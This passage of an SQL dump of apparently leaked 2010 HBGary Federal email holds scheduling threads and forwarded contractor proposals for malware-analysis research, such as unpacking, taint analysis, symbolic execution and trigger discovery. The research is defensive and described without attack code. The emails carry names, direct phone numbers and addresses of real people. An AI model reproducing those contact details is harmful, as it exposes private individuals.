Inc.\r\n\r\n\r\n\r\n',1522,'aaron_hbgary_com/1522.html'),(3587,'2010-03-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001805.M393130P3547Q3587.eml','\"Shows, Bob (IS)\" <rj.shows@ngc.com>','Re: Brief phone call','ok ready when u are.\r\n\r\nOn Mar 5, 2010, at 12:02 PM, Shows, Bob (IS) wrote:\r\n\r\n> Roger...\r\n> \r\n> Robert \'Bob\' Shows \r\n> USAF Account Team NGIS/DSD\r\n> Northrop Grumman Corporation \r\n> 310.210.2549 \r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Friday, March 05, 2010 11:01 AM\r\n> To: Shows, Bob (IS)\r\n> Subject: Re: Brief phone call\r\n> Importance: High\r\n> \r\n> ok give me 10min...on a conference call.\r\n> \r\n> On Mar 5, 2010, at 11:59 AM, Shows, Bob (IS) wrote:\r\n> \r\n>> Great--just got off a concall.  I\'ll call you in a minute or two\r\n>> \r\n>> Robert \'Bob\' Shows \r\n>> USAF Account Team NGIS/DSD\r\n>> Northrop Grumman Corporation \r\n>> 310.210.2549 \r\n>> \r\n>> \r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n>> Sent: Friday, March 05, 2010 10:03 AM\r\n>> To: Shows, Bob (IS)\r\n>> Subject: Re: Brief phone call\r\n>> Importance: High\r\n>> \r\n>> sure.  call 719.510.8478\r\n>> \r\n>> Aaron\r\n>> \r\n>> On Mar 5, 2010, at 10:57 AM, Shows, Bob (IS) wrote:\r\n>> \r\n>>> Are you available for a brief \'sync\' call in the next hour, or so?\r\n> If\r\n>>> so, what\'s a good number?\r\n>>> \r\n>>> Robert \'Bob\' Shows \r\n>>> USAF Account Team NGIS/DSD\r\n>>> Northrop Grumman Corporation \r\n>>> 310.210.2549 \r\n>>> \r\n>>> \r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n>> \r\n>> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',1405,'aaron_hbgary_com/1405.html'),(3588,'2010-03-05','\"Upchurch, Jason R.\" <jason.upchurch@gd-ais.com>','/aaron@hbgary.com/new/1297001805.M639672P3547Q3588.eml','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>,\"Rodriguez, Harold\" <Harold.Rodriguez@gd-ais.com>,\"Harlow, Douglas M.\" <Douglas.Harlow@gd-ais.com>,\"Vela, Ryan\" <Ryan.Vela@gd-ais.com>,\"Larson, Cindy S.\" <Cindy.Larson@gd-ais.com>,\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','RE: Task List Edits from HBGary','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Starr, Christopher\r\nH. \r\nSent: Friday, March 05, 2010 8:53 AM\r\nTo: Upchurch, Jason R.; Rodriguez, Harold; Harlow, Douglas M.; Vela,\r\nRyan; Larson, Cindy S.\r\nCc: Wilson, Ben N.; Kipper, Gregory A.\r\nSubject: Task List Edits from HBGary\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nTask List Edits from HBGary:\r\n\r\n&nbsp;\r\n\r\nProvide the research and development of memory and malware analysis\r\ntechniques to achieve correlation between malware that share traits or\r\ndisassembled code.&nbsp; This includes developing and refining signatures of\r\ncode sequences within software that are of value for correlation techniques.\r\n\r\nYear\r\n1, establish basis of research, proof of concept on use of trait correlation\r\n\r\nMonth\r\n0 - 6 develop function extraction methodologies of linear execution space\r\n\r\nMonth\r\n6 &#8211; 12 develop function correlation methodologies of linear execution\r\nspace\r\n\r\nYear\r\n1 &#8211; 2 Refine function extraction methods and develop automation of\r\nmethodologies\r\n\r\nYear\r\n3 &#8211; EOP expand function extraction and correlation to full execution\r\nspace\r\n\r\nProvide research and development of function extraction\r\nmethods from disassembled code based on previous work with Automated Run-Time\r\nDisassembly techniques.\r\n\r\n&nbsp;\r\n\r\nYear 3 &#8211; EOP explore full\r\nexecution space function extraction methods\r\n\r\n&nbsp;\r\n\r\nYear 3 Research full execution\r\nspace exploration\r\n\r\n&nbsp;\r\n\r\nYear 4 Begin automation of full\r\nexecution space function extraction\r\n\r\nProvide&nbsp;research\r\nsupport to GDAIS and other team members in correlation techniques for\r\nsignatures based on, but not limited to, malware artifacts, function\r\nextraction, data flow maps, and function maps. &nbsp;\r\n\r\nProvide\r\n400 man hours a year support to GDAIS on this task as needed\r\n\r\nProvide research support to\r\nGDAIS and other team members in malware trigger discovery to determine runtime\r\nrequirements to automate the execution of malware.\r\n\r\nYear\r\n1 Provide 400 man hours a year support on this task to GDAIS and other\r\nteammates (UCB)\r\n\r\nYear\r\n2 (months 0-6) develop automation of execution \r\n\r\nProvide sample or generated\r\nDNA sequences for integration into the correlation database as needed for\r\nvisualization and POC demonstration.\r\n\r\nAll\r\nyears, last period (months 9-12)&nbsp; Provide sample or generated correlation\r\ninformation for project mock up or demo.\r\n\r\nProvide research support to\r\nGDAIS and other team members in the creation of a unified malware genome for\r\nuse in malware correlation.\r\n\r\n&nbsp;\r\n\r\nAll years, Provide 400 hours per\r\nyear for research support\r\n\r\n&nbsp;\r\n\r\nProvide research and development of toolmarks and latent\r\nartifacts within executables that can reveal information about the environment\r\nwhen developed and compiled.\r\n\r\n&nbsp;\r\n\r\nYear 1 Month 0-6 provide automation\r\nfor extracting trivial artifacts using known methods for input into correlation\r\ndataset\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15079,'aaron_hbgary_com/15079.html'),(3589,'2010-03-05','irby@pikewerks.com','/aaron@hbgary.com/new/1297001805.M887027P3547Q3589.eml','aaron@hbgary.com','Requesting access to E. Organizational Chart (Google Docs)','irby@pikewerks.com, at irby@pikewerks.com requests access to the document called \"E. Organizational Chart\":http://docs.google.com/a/hbgary.com/Edit?tab=share&docid=dgmbffvt_16hmvn37kq&userstoinvite=irby%40pikewerks.comYou are the owner of this document. To give this user access, click the link above and add them as a collaborator or viewer.Note: Invitations on this document are currently restricted to match exact email addresses. If you want to invite people in a mailing list or let them sign in using a different email address, just go to the Share tab for this document and click to check \"Invitations may be used by anyone\" under \"Document sharing options\". Learn more about this topic at the Google Docs Help Center.',11070,'aaron_hbgary_com/11070.html'),(3590,'2010-03-05','\"Adam\" <adam.fraser@pikewerks.com>','/aaron@hbgary.com/new/1297001806.M298957P3547Q3590.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: File Access','Just got back to satx. I will start looking over all the stuff asap.  \r\nGive me a call in about thirty min if you want to talk\r\n\r\nAdam\r\n\r\n\r\n\r\nOn Mar 5, 2010, at 11:06 AM, Aaron Barr  wrote:\r\n\r\n> All,\r\n>\r\n> To get access to the links I sent you, you need to register that  \r\n> email account as a google account.  Let me know if you have any  \r\n> questions.\r\n>\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n>\r\n>\r\n',12234,'aaron_hbgary_com/12234.html'),(3591,'2010-03-05','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','/aaron@hbgary.com/new/1297001806.M586985P3547Q3591.eml','\"Aaron Barr\" <aaron@hbgary.com>','FW: Details from UC Berkeley: what they offer','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Starr, Christopher\r\nH. \r\nSent: Friday, March 05, 2010 10:29 AM\r\nTo: Upchurch, Jason R.; Rodriguez, Harold; Harlow, Douglas M.; Vela,\r\nRyan; Larson, Cindy S.\r\nCc: Kipper, Gregory A.; Wilson, Ben N.\r\nSubject: Details from UC Berkeley: what they offer\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nThe following is from UC Berkeley in their own words:\r\n\r\n&nbsp;\r\n\r\nTasks\r\nUC Berkeley can perform:\r\n\r\n&nbsp;\r\n\r\nA.\r\nDynamically Unpacking Malware\r\n\r\n&nbsp;&nbsp;\r\n1. Dynamically undo packing and related forms of obfuscation\r\n\r\n&nbsp;&nbsp;\r\n2. Reduce unpacking overhead, improve resistance to anti-emulation \r\n\r\nB.\r\nDynamic Taint Analysis\r\n\r\n&nbsp;&nbsp;\r\n1. Detect under-tainting via control-flow\r\n\r\n&nbsp;&nbsp;\r\n2. Compensate for under-tainting in taint-dependent code regions\r\n\r\n&nbsp;&nbsp;\r\n3. Detect over-tainting with quantitative analysis\r\n\r\n&nbsp;&nbsp;\r\n4. Reduce over-tainting in whole-system analysis \r\n\r\nC.\r\nExecution State Space Exploration\r\n\r\n&nbsp;&nbsp;\r\n1. Online symbolic execution of malicious binaries\r\n\r\n&nbsp;&nbsp;\r\n2. Search space heuristics for efficient coverage \r\n\r\nD.\r\nDiscovering Trigger-Based Behavior\r\n\r\n&nbsp;&nbsp;\r\n1. Automatically analyze time-bomb behavior\r\n\r\n&nbsp;&nbsp;\r\n2. Analyze and compensate for system-specificity triggers\r\n\r\n&nbsp;\r\n\r\nUC\r\nBerkeley BitBlaze Binary Analysis Platform\r\n\r\n&nbsp;\r\n\r\nThe\r\nBitBlaze Binary Analysis Platform is an infrastructure made up of components\r\nthat support the analysis of software at the binary (machine code) level,\r\nparticularly for security applications.&nbsp; We use the platform both to\r\nperform state-of-the-art analysis on the current generation of\r\nsecurity-sensitive software, and to prototype and experiment with the next\r\ngeneration of techniques and algorithms for binary analysis.\r\n\r\n&nbsp;\r\n\r\nThe\r\nBitBlaze Binary Analysis Platform features a novel fusion of static and dynamic\r\nanalysis techniques, including dynamic symbolic execution, whole-system\r\nemulation, and binary instrumentation.&nbsp; The BitBlaze platform has\r\ndifferent components for each task, including TEMU and Vine.&nbsp; The\r\ncomponents in tandem provide the power for effective analysis of real-world\r\nbinary programs for various applications.\r\n\r\n&nbsp;\r\n\r\nTEMU\r\nprovides dynamic binary analysis, built upon the whole-system emulator\r\nQEMU.&nbsp; Because it emulates an entire system, a key attribute of TEMU is\r\nthat it can provide a realistic and seemingly unmodified operating system\r\nenvironment to software under analysis.&nbsp; TEMU provides a virtual machine\r\nthat runs off-the-shelf operating systems such as Windows XP and Linux, and can\r\nsimultaneously analyze an operating system kernel and any applications running\r\non top of it.&nbsp; Though the analysis is performed outside the virtual\r\nmachine, information about OS-level abstractions like processes and files is\r\nimportant for many kinds of analysis.&nbsp; Using knowledge of the guest\r\noperating system, TEMU can determine what process and module is currently\r\nexecuting, what API calls have been invoked (with their arguments), and what\r\ndisk locations belong to which files.&nbsp; TEMU is able to understand how an\r\nanalyzed binary interacts with the environment, such as what API calls it\r\ninvokes, and what outstanding memory locations it accesses.\r\n\r\n&nbsp;\r\n\r\nThe\r\nVine library and tools that build on it provide for more detailed analysis of\r\nassembly-level code.&nbsp; In order to reason about assembly, it is necessary\r\nto accurately model the effects of each instruction.&nbsp; But that can be\r\ndifficult: for instance the standard x86 architecture has hundreds of\r\ninstructions, which often have implicit side effects, complex addressing modes,\r\nand even operand-dependent semantics.&nbsp; Vine addresses these challenges by\r\ntranslating instructions into an intermediate language (called the Vine IL)\r\nwith uniform semantics and only about a dozen kinds of statement.&nbsp; This\r\nsignificantly simplifies further analysis.&nbsp; Note Vine\'s IL is not a\r\ndecompilation: our goal is not to recover a higher-level language\r\nrepresentation of the code, but to analyze assembly as a first class language.\r\n\r\n&nbsp;\r\n\r\nOn\r\ntop of this language, Vine provides a rich library of code for manipulating and\r\nperforming automated analysis on represented binary code.&nbsp; For instance,\r\nit can build control flow graphs and program dependence graphs, perform\r\ndata-flow analyses such as global value numbering and dead code elimination,\r\nand slice or chop to select only the part of code relevant for a query.&nbsp;\r\nVine also interfaces with bit-precise decision procedures to perform automated\r\nreasoning about code, such as to find inputs that satisfy a given set of\r\nconditions.\r\n\r\n&nbsp;\r\n\r\nBitBlaze\r\nhas proven to be an invaluable infrastructure in security research.&nbsp; We\r\nhave used it as the basis for more than a dozen papers related to the analysis\r\nof security vulnerabilities [1,2,9,10,11], modeling security-relevant behavior\r\n[3,4,7,8,12], and understanding and countering malware [5,6,13], and it has\r\nalso been harnessed by other researchers from around the world.\r\n\r\n&nbsp;\r\n\r\n*\r\nDynamically Unpacking Malware\r\n\r\n&nbsp;\r\n\r\nIn\r\nan attempt to frustrate analysis, the authors of malware often process their\r\nprograms using a technique called binary code packing.&nbsp; Code packing\r\ntransforms a program into a packed program by compressing and/or encrypting the\r\noriginal code and data into packed data and associating it with a restoration\r\nroutine The restoration routine is a piece of code for recovering the original\r\ncode and data as well as setting an execution context to the original state\r\nwhen the packed program is executed.&nbsp; By concealing the program code\r\nresponsible for malicious behavior, packing is an obstacle to any analysis\r\ntechnique that depends on examining code, from signature-based anti-virus\r\ndetection to sophisticated static analysis.\r\n\r\n&nbsp;\r\n\r\nRegardless\r\nof the details of the packing technique used, however, a fundamental weakness\r\nof packing is that the original code or its equivalent must eventually be\r\npresent in memory and executed.&nbsp; Thus at a high level, packing can be\r\nreversed by a dynamic analysis technique that executes the program up to the\r\npoint when the newly uncompressed code is about to be executed.&nbsp; A naive\r\nimplementation of this approach, however, could be thwarted by malware that\r\nattempts to obfuscate the transition to the unpacked code, interleaves\r\nunpacking and execution, or applies two packing tools in sequence to the same\r\nbinary.\r\n\r\n&nbsp;\r\n\r\nUsing\r\nTEMU, we have built a general dynamic unpacking tool that applies to any\r\nvariation of packing, by focusing on the fundamental attributes of the\r\nrestoration process.&nbsp; Fundamentally, the tool is based on the observation\r\nthat unpacked code consists of bytes that are first written by the program being\r\nanalyzed, and then executed.&nbsp; To implement this definition, the tool\r\nrecords precisely which memory addresses the program overwrites, up to the\r\npoint when one such location is executed.&nbsp; The collection of such bytes\r\nrepresents one hidden layer of the program, and the first instruction executed\r\nis that layer\'s entry point.&nbsp; After it has discovered one layer, the tool\r\nrepeats the process to extract as many hidden layers as the program contains,\r\nor until a specified timeout expires.&nbsp; This approach is very general\r\nbecause it need not make any further assumptions about the packed code, such as\r\nthat a hidden layer can be statically disassembled, or about the layout of an\r\nexecutable.\r\n\r\n&nbsp;\r\n\r\nWe\r\npropose to further generalize this basic technique by applying it to other related\r\nkinds of code obfuscation performed by malware, improving its efficiency to\r\nreduce runtime overhead, and hardening it against some common\r\nanti-system-emulation techniques.\r\n\r\n&nbsp;\r\n\r\n*\r\nDynamic Taint Analysis\r\n\r\n&nbsp;\r\n\r\nDynamic\r\ntaint analysis is a powerful approach for detecting and analyzing attacks\r\nagainst the integrity of a security-critical application, such as if a network\r\nattacker attempts to take control of a service by supplying inputs that give\r\nthe attacker control over the application\'s behavior.&nbsp; The basic principle\r\nof taint analysis is to mark the untrusted inputs to a program (as\r\n&quot;tainted&quot;), and then propagate the tainting status during execution\r\nto other values that are computed from these tainted inputs.&nbsp; If a tainted\r\nvalue reaches a sensitive operation, this suggests that an attacker could have\r\ncontrol over that operation.&nbsp; For instance, if tainting propagates from an\r\nuntrusted network request to a value used as a return address in a network\r\nserver, this could indicate an attack in which the application is about to jump\r\nto code of the attacker\'s choosing.&nbsp; Dynamic taint analysis is a core\r\nfeature of the BitBlaze platform\'s TEMU dynamic tool, and we have applied it to\r\nmany security problems.\r\n\r\n&nbsp;\r\n\r\nTaint\r\nanalysis is a widely used technique, but in its simplest form it also has some\r\nwidely-encountered limitations.&nbsp; These can be categorized as\r\nunder-tainting, which occurs when a value that should be tainted is not, and\r\nover-tainting, which occurs when values that should not be tainted are.\r\n\r\n&nbsp;\r\n\r\nUnder-tainting\r\nmost often occurs because dynamic taint analysis fails to fully track what are\r\ncalled &quot;implicit flows:&quot; for instance, the fact that the a value\r\nloaded from memory depends on the address from which the load occurred, or\r\neffects on data that are mediated by control flow.&nbsp; Special case rules,\r\nsuch as for the treatment of lookup tables, can reduce such under-tainting, but\r\na more general approach is needed.&nbsp; We propose two enhancements to dynamic\r\ntaint analysis to deal better with under-tainting.&nbsp; First, we propose a\r\ntechnique to detect the occurrence of under-tainting by analyzing how much of\r\nthe variability of tainted values is propagated to memory addresses and\r\ncontrol-flow decisions: if the tainted input is completely determined by such\r\nimplicit flows, under-tainting is likely to have occurred.&nbsp; Second, we\r\npropose to address instances of under-tainting by an automatic, conservative\r\nestimate of the side-effects of code regions whose execution might be under the\r\ninfluence of tainted control flow.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nConversely,\r\nover-tainting or &quot;taint explosion&quot; can be triggered by a small\r\ninitial error, causing a single value to be tainted unnecessarily, that leads\r\nto significant over-tainting when that value is itself used in many\r\nplaces.&nbsp; Intuitively, this occurs because standard tainting has no way of\r\ndiluting taint that propagates too widely.&nbsp; We propose to detect such\r\nover-tainting by generalizing taint to a continuous attribute, so that a value\r\ncan have an intermediate level of taint if its propagation has been\r\nattenuated.&nbsp; Over-tainting can particularly be an issue in a taint\r\nanalysis engine that emulates an entire system: tainting is valuable for\r\ntracking inter-application information flows, but over-tainting that propagates\r\nto the kernel can invalidate results for the entire system.&nbsp; To address\r\nthis, we propose to introduce special rules for taint propagation across the\r\nsystem call interface, to prevent spurious tainting while preserving correctly\r\ntainted values.\r\n\r\n&nbsp;\r\n\r\n*\r\nExecution State Space Exploration\r\n\r\n&nbsp;\r\n\r\nMany\r\nkinds of security analysis can be framed as attempts to automatically explore\r\nthe possible behavior of a piece of vulnerable or malicious code.&nbsp; A\r\ncomputer program or a fragment of one induces an execution space consisting of\r\nall of its possible executions: among those executions, we want a tool to find\r\none that represents a security risk.&nbsp; One very successful exploration\r\napproach for security applications is symbolic execution; symbolic execution is\r\nprecise in that all of the potential execution states it examines could occur in\r\nreal execution, and it can achieve high coverage because a single symbolic\r\nexecution can take the place of many concrete (non-symbolic) executions.\r\n\r\n&nbsp;\r\n\r\nWhen\r\nthe complete runtime environment and inputs to a program are available,\r\nsymbolic execution can be performed after-the-fact, by processing a trace of a\r\nprogram\'s execution.&nbsp; While such trace-based symbolic execution provides\r\nsome convenience to implementers, its requirements of a complete program and\r\nexecution state can be limiting.&nbsp; And alternative approach called online\r\nsymbolic execution instead chooses which execution paths to explore in a\r\nprogram while it is executing.&nbsp; Because online symbolic execution can be\r\npossible even when a completely concrete execution is not, it can be used in\r\nsituations when the environment or memory state that code expects is not\r\npresent.&nbsp; In fact, such symbolic execution can be used to recover\r\ninformation about the data structures that code expects when they are not\r\navailable.\r\n\r\n&nbsp;\r\n\r\nWe\r\npropose to apply online symbolic execution to exploring the execution space of\r\nmalicious binary code.&nbsp; Such a system can be used in a targeted way, to\r\nexplore a program\'s use of a particular piece of data, but it can also be used\r\nto explore all possible behaviors of a single code fragment, or to uniformly\r\nsample from the possible behaviors of a program without knowledge of its\r\nenvironmental expectations.\r\n\r\n&nbsp;\r\n\r\nHowever,\r\nscaling symbolic execution to large programs with many possible inputs is a\r\nchallenge, given the potentially astronomical size of the complete program\r\nexecution space.&nbsp; Exhaustive exploration of such a space is not possible,\r\nbut we propose to target our exploration to cover aspects of program behavior\r\nthat are relevant to security.&nbsp; Devising appropriate search heuristics in\r\nthe context of malicious code is an additional challenge, because information\r\nabout the entire program (such as a static control-flow graph) is often\r\nunavailable: instead, the search strategy must be bootstrapped from the exploration\r\nitself, in essence drawing a map of the unknown territory as it is first\r\ndiscovered.\r\n\r\n&nbsp;\r\n\r\n*\r\nDiscovering Trigger-Based Behavior\r\n\r\n&nbsp;\r\n\r\nWe\r\nsay that a malware sample exhibits &quot;trigger-based&quot; behavior if its\r\nactions when executed differ according to an environmental factor.&nbsp; One\r\nexample of such triggering is time-bomb malware that appears benign when run\r\nbefore a particular date, but is malicious afterwards.&nbsp; A malware sample\r\ncan also be triggered by a characteristic of the system on which it runs, the behavior\r\nof a user, or just about any other data the sample has available, and such\r\ntriggering can be used for stealth, to control propagation, or to target an\r\nattack against particular victims.\r\n\r\n&nbsp;\r\n\r\nWe\r\npropose to use symbolic execution along with other dynamic binary analysis\r\ntechniques to automatically understand trigger behavior in malware\r\nsamples.&nbsp; A naive approach to identifying triggering behavior would be to\r\nsimply execute a malware sample in many different virtual machines, each of\r\nwhich has different environment characteristics.&nbsp; However, it is easy to\r\nsee that this simple technique would not be very effective: many aspects of the\r\nenvironment might be relevant, and the triggering condition might be very\r\nspecific, so we could never have enough virtual machines to cover all the\r\npossibilities.\r\n\r\n&nbsp;\r\n\r\nBy\r\ncontrast, symbolic execution gives an analysis tool the ability to observe\r\nwhich aspects of the environment a malware sample accesses and what operations\r\nand tests it performs on them.&nbsp; Thus the analysis tool is guided by the program\r\nin determining what environment features and values for them are relevant, and\r\nso can identify the triggering condition efficiently.\r\n\r\n&nbsp;\r\n\r\nWe\r\nfirst propose to analyze triggering behaviors based on the date and time at\r\nwhich a malware sample executes.&nbsp; Besides time-bomb behavior, time-based\r\ntriggering is used by propagating malware such as worms and self-spreading bots\r\nto optimize for their long-term survival, in much the same way as a biological\r\ndisease.\r\n\r\n&nbsp;\r\n\r\nSecond,\r\nwe propose to analyze a class of triggering behaviors based on other features\r\nof the system on which the malware sample runs, such as the version of software\r\ninstalled, the locale or language settings, or particular physical or virtual\r\nhardware installed.&nbsp; For instance, such analysis might find that a botnet\r\nclient behaves differently depending on the operating system\'s default\r\nlanguage, so that it is benign to speakers of one language and malicious to\r\nspeakers of others.&nbsp; An additional challenge related to this type of\r\ntriggering behavior, as compared to time-based triggering, is that we must also\r\nprovide a practical mechanism to easily reproduce the triggering conditions,\r\neven if they differ from the true characteristics of the analysis environment.\r\n\r\n&nbsp;\r\n\r\n*\r\nReferences\r\n\r\n&nbsp;\r\n\r\n[1]\r\n&quot;Dynamic Taint Analysis: Automatic Detection, Analysis, and Signature\r\nGeneration of Exploit Attacks on Commodity Software&quot;\r\n\r\nJames\r\nNewsome and Dawn Song. In Proceedings of the Network and Distributed Systems\r\nSecurity Symposium, Feb 2005.\r\n\r\n&nbsp;\r\n\r\n[2]\r\n&quot;Towards Automatic Generation of Vulnerability Signatures.&quot;\r\n\r\nDavid\r\nBrumley, James Newsome, Dawn Song, Hao Wang, and Somesh Jha. In Proceedings of\r\nthe IEEE Symposium on Security and Privacy, May 2006.\r\n\r\n&nbsp;\r\n\r\n[3]\r\n&quot;Replayer: Automatic Protocol Replay by Binary Analysis.&quot;\r\n\r\nJames\r\nNewsome, David Brumley, Jason Franklin, and Dawn Song. In Proceedings of the\r\n13th ACM Conference on Computer and Communications Security (CCS), October\r\n2006.\r\n\r\n&nbsp;\r\n\r\n[4]\r\n&quot;Towards Automatic Discovery of Deviations in Binary Implementations with\r\nApplications to Error Detection and Fingerprint Generation.&quot;\r\n\r\nDavid\r\nBrumley, Juan Caballero, Zhenkai Liang, James Newsome, and Dawn Song. In\r\nProceedings of USENIX Security Symposium, Aug 2007.\r\n\r\n&nbsp;\r\n\r\n[5]\r\n&quot;Renovo: A Hidden Code Extractor for Packed Executables.&quot;\r\n\r\nMin\r\nGyung Kang, Pongsin Poosankam, and Heng Yin. In Proceedings of the 5th ACM\r\nWorkshop on Recurring Malcode (WORM), Oct 2007.\r\n\r\n&nbsp;\r\n\r\n[6]\r\n&quot;Panorama: Capturing System-wide Information Flow for Malware Detection\r\nand Analysis.&quot;\r\n\r\nHeng\r\nYin, Dawn Song, Manuel Egele, Christopher Kruegel, and Engin Kirda. In Proceedings\r\nof ACM Conference on Computer and Communication Security, Oct 2007.\r\n\r\n&nbsp;\r\n\r\n[7]\r\n&quot;Polyglot: Automatic Extraction of Protocol Message Format using Dynamic\r\nBinary Analysis.&quot;\r\n\r\nJuan\r\nCaballero, Heng Yin, Zhenkai Liang, and Dawn Song. In Proceedings of the 14th\r\nACM Conference on Computer and Communications Security (CCS), October 2007.\r\n\r\n&nbsp;\r\n\r\n[8]\r\n&quot;HookFinder: Identifying and Understanding Malware Hooking Behaviors&quot;\r\n\r\nHeng\r\nYin, Zhenkai Liang, and Dawn Song. In Proceedings of the 15th Annual Network\r\nand Distributed System Security Symposium, February 2008.\r\n\r\n&nbsp;\r\n\r\n[9]\r\n&quot;Automatic Patch-Based Exploit Generation is Possible: Techniques and\r\nImplications&quot;\r\n\r\nDavid\r\nBrumley, Pongsin Poosankam, Dawn Song, and Jiang Zheng. In Proceedings of the\r\nIEEE Symposium on Security and Privacy, May 2008.\r\n\r\n&nbsp;\r\n\r\n[10]\r\n&quot;Measuring Channel Capacity to Distinguish Undue Influence&quot;\r\n\r\nJames\r\nNewsome, Stephen McCamant, and Dawn Song. In Proceedings of the Fourth ACM\r\nSIGPLAN Workshop on Programming Languages and Analysis for Security, June 2009.\r\n\r\n&nbsp;\r\n\r\n[11]\r\n&quot;Loop-Extended Symbolic Execution on Binary Programs&quot;\r\n\r\nPrateek\r\nSaxena, Pongsin Poosankam, Stephen McCamant, and Dawn Song. In Proceedings of\r\nthe ACM/SIGSOFT International Symposium on Software Testing and Analysis, July\r\n2009.\r\n\r\n&nbsp;\r\n\r\n[12]\r\n&quot;Dispatcher: Enabling Active Botnet Infiltration using Automatic Protocol\r\nReverse-Engineering&quot;\r\n\r\nJuan\r\nCaballero, Pongsin Poosankam, Christian Kreibich, and Dawn Song. In Proceedings\r\nof the 16th ACM Conference on Computer and Communication Security, November\r\n2009.\r\n\r\n&nbsp;\r\n\r\n[13]\r\n&quot;Binary Code Extraction and Interface Identification for Security\r\nApplications&quot;\r\n\r\nJuan\r\nCaballero, Noah M. Johnson, Stephen McCamant, and Dawn Song. In Proceedings of\r\nthe 17th Annual Network and Distributed System Security Symposium, February\r\n2010.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10222,'aaron_hbgary_com/10222.html'),(3592,'2010-03-05','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','/aaron@hbgary.com/new/1297001806.M898992P3547Q3592.eml','\"Aaron Barr\" <aaron@hbgary.com>','FW: Details from SRI','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Starr, Christopher\r\nH. \r\nSent: Friday, March 05, 2010 10:40 AM\r\nTo: Upchurch, Jason R.; Rodriguez, Harold; Harlow, Douglas M.; Vela,\r\nRyan; Larson, Cindy S.\r\nCc: Wilson, Ben N.; Kipper, Gregory A.\r\nSubject: Details from SRI\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nThe following is from SRI (see below and attached SOW\r\nlanguage):\r\n\r\n&nbsp;\r\n\r\n1.1.1&nbsp; Task 1\r\n\r\n&nbsp;\r\n\r\nSRI shall develop improved and multi-perspective malware\r\ncapture capabilities including next generation honeynets, and capture\r\ncapabilities for client-side malware, email-borne malware, and malware embedded\r\nin P2P networks. The goal of this research is to improve the diversity of the\r\nmalware binary collection sources.\r\n\r\n&nbsp;\r\n\r\n1.1.2 Task 2\r\n\r\n&nbsp;\r\n\r\nSRI shall develop novel and scalable automated unpacking\r\ntechniques for malware including dealing with multiply-packed malware and\r\ndynamic code not mapped to process memory. The goal of this research is to\r\ncover a large number of packing technologies.\r\n\r\n&nbsp;\r\n\r\n1.1.3&nbsp; Task 3\r\n\r\n&nbsp;\r\n\r\nSRI shall provide research in the area of executable\r\nreconstruction from disk based malware or malware memory extractions.&nbsp; The\r\ngoal of the research is to return code extracted from memory or code that has\r\nbeen obfuscated into an un-obscured executable file.&nbsp; This work includes\r\nbut is not limited to, extracting executables from process or full memory\r\ndumps, de-obfuscating packed malware, automatically rebuilding import tables,\r\nautomatically locating and restoring the original entry point, rebuilding\r\nmalicious dll code to stand alone executables, and removing obfuscation and\r\nanti-analysis techniques such as chunking and suicide logic. The longer term\r\nobjective of this work is to enable the statically-informed binary execution or\r\npath exploration.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n1.1.4&nbsp; Task 4\r\n\r\n&nbsp;\r\n\r\nSRI shall provide research support in the use of\r\nde-compilation as a litmus test to determine if machine code has been\r\nobfuscated.&nbsp; SRI shall coordinate with other team members involved in the\r\ncode extraction segment of the project to apply this research to specific\r\nobfuscation problems encountered in code extraction.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n1.1.5 Task 5\r\n\r\n&nbsp;\r\n\r\nSRI shall develop a combination of Bayesian and\r\nprobabilistic algorithms and algorithms from computational biology to create\r\nlineage trees to identify the provenance of digital artifacts and improve understanding\r\nof software evolution. The goal of this research is to enable the informed and\r\nautomated malware forensic clustering.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n1.1.6&nbsp; Task 6\r\n\r\n&nbsp;\r\n\r\nSRI shall develop techniques based on computational\r\nbiology gene sequence alignment algorithms involving the use of\r\nerror-correcting codes, infinite sites evolution, and Markov models of mutation\r\nto automatically deobfuscate code independent of what obfuscation techniques\r\nwere applied to the code.\r\n\r\n&nbsp;\r\n\r\n1.1.7 Task 7\r\n\r\n&nbsp;\r\n\r\nSRI shall develop taxonomy for data leakage based on\r\ncategorization of system egress points, classification of sensitive data\r\nsources and functional elements in malware to guide inferences about high-level\r\nmalware intent. The goal of this research is to enable behavioral malware\r\nclassification based on provenance taxonomy and tracking access patterns for\r\nhost applications. SRI will also combine taint analysis and provinence analysis\r\nto improve and guide multipath 